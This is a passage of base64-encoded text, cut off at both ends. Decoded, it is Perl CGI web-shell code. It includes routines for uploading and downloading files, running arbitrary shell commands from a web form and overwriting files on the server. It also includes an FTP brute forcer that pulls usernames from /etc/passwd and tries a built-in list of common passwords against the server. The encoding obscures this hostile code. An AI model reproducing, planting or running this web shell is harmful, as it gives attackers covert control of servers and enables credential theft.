leGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS